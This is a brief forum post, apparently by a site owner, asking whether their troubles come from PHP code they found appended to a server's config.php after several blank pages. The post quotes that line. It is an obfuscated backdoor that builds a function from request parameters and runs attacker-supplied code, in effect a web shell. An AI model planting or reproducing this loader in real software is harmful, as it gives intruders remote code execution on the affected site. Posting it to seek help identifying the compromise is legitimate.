I just found something. On a hunch, since the config.php is the only files not to be either uploaded fresh or deleted, maybe it could have been the cause of the problems. I compared the config.php I've backed up from the server to the sample one that's included in the packages. The sample one ends where it states when you downloaded it and a revision number, but my backed up one has several empty pages after this point, then this shows up:
Can this be the source of all my problems?
PHP Code:
if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['8309FC70C6043640CAFDAE4541AC018E']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
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